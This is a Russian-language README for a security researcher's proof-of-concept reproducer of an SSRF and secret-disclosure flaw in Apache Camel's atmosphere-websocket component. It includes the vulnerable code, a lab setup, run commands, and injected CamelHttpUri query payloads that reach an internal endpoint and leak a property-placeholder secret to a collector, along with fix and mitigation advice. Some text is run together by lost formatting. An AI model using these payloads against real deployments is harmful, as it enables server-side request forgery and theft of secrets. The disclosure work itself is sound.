
PoC-репродуктор для CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): WebSocket-потребитель копирует параметры запроса соединения в Exchange без фильтрации, поэтому внедрённый CamelHttpUri приводит к серверному запросу (SSRF) и утечке разрешённых плейсхолдеров свойств. Исправлено в 4.14.8/4.18.3/4.21.0.
Этот проект демонстрирует инъекцию заголовков сообщений в компоненте camel-atmosphere-websocket
Apache Camel, отслеживаемую как CVE-2026-55993. Потребитель WebSocket копирует параметры запроса соединения в
обмен Camel без какого-либо HeaderFilterStrategy, поэтому клиент может внедрить управляющие заголовки Camel — прежде всего
CamelHttpUri — просто добавив их в строку запроса URL WebSocket:
// WebsocketConsumer.sendEventNotification (уязвимая версия 4.18.2) — параметры запроса -> заголовки Exchange, без фильтрации
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// где queryMap = getQueryMap(request.getQueryString()) (наивный, нефильтрующий парсер)
Когда маршрут соединяет этого потребителя с HTTP-производителем, внедрённый CamelHttpUri — подделка запроса на стороне сервера. Производитель camel-http также вызывает для
этого управляемого атакующим URI, поэтому внедрённая ссылка раскрывается до своего реального значения и отправляется наружу —
раскрывая переменные окружения, свойства приложения или секреты хранилища.
resolvePropertyPlaceholders(){{...}}Данный PoC демонстрирует воздействие как SSRF плюс раскрытие секретов (CWE-20 → CWE-918 + CWE-200). Он является одним из
трёх родственных компонентов, исправленных вместе в CAMEL-23532 (вместе с camel-vertx-websocket, CVE-2026-46726, и
camel-iggy, CVE-2026-55994).
Рекомендация: https://camel.apache.org/security/CVE-2026-55993.html
| Свойство | Значение |
|---|---|
| Компонент | camel-atmosphere-websocket |
| Уязвимый класс | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() сопоставляют параметры запроса с заголовками без фильтра) |
| CWE | CWE-20 (некорректная проверка входных данных) → CWE-918 (SSRF) + CWE-200 (раскрытие информации) |
| Воздействие | Неаутентифицированный SSRF и раскрытие секретов через разрешение property-placeholder на внедрённом URI |
| Предусловия | Маршрут соединяет потребителя atmosphere-websocket с HTTP-производителем; сервлет работает с events=true |
| Уязвимые версии | С 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Автор находки | Kamalpreet Singh |
Исправление применяет унаследованный
HttpHeaderFilterStrategyк входящему сопоставлению, отфильтровывая заголовкиCamel*/camel*без учёта регистра, чтобы их больше нельзя было внедрить через строку запроса WebSocket.
Два уязвимых члена WebsocketConsumer выполняются без изменений, с управляемой атакующим строкой запроса:
WebsocketConsumer.getQueryMap(String) — наивный, нефильтрующий парсер, превращающий строку запроса
соединения WebSocket в карту;WebsocketConsumer.sendEventNotification(...) — копирующий каждую запись этой карты в обмен
Exchange как заголовок, без HeaderFilterStrategy.Результирующий Exchange проходит через реальный маршрут к реальному HTTP-производителю camel-http, поэтому SSRF и
раскрытие через property-placeholder {{...}} являются подлинными.
Почему транспорт WebSocket не используется напрямую. В этой версии компонента (Camel 4.18.2 → Atmosphere 3.1.0) WebSocket обслуживается через JSR-356, чьё обновление обрабатывается контейнером сервлетов и обходит
CamelWebSocketServlet.service()— единственное место, которое копирует строку запроса соединения вqueryMapпотребителя.sendEventNotificationчитает эту (пустую) карту, а не запрос в сессии WebSocket, поэтому в этой версии Atmosphere инъекцию нельзя доставить через работающий WebSocket JSR-356. (Atmosphere 3.1.0 поставляется только с поддержкой JSR-356 / Servlet30 / BlockingIO / Netty — без сервлетного транспорта WebSocket, который заполнял быqueryMap.) Поэтому данный репроductor напрямую вызывает два реальных уязвимых метода со строкой запроса атакующего; родственный PoCcamel-vertx-websocket(CVE-2026-46726) использует тот же дефект через работающий WebSocket, поскольку этот компонент сопоставляет запрос в каждом сообщении.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
Автор маршрута подразумевает единственную цель — /legit-backend; внедрённый CamelHttpUri переопределяет её.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # единый автономный сервис
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # сборщик SSRF: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # запускает реальные getQueryMap + sendEventNotification с внедрённым запросом
└── resources/
└── application.properties # app.secret=... (раскрывается через разрешение placeholder)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). После обновления потребитель отфильтровывает заголовки Camel* из
строки запроса WebSocket, поэтому CamelHttpUri и другие управляющие заголовки больше нельзя внедрить.
До обновления не соединяйте потребителя atmosphere-websocket напрямую с HTTP-производителем, предварительно не удалив
управляющие заголовки Camel (например, removeHeaders("CamelHttp*")), и задавайте цель производителя из
доверенного источника (или используйте bridgeEndpoint=true).
Данный репроductor предоставлен только для исследований безопасности и авторизованного тестирования — для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.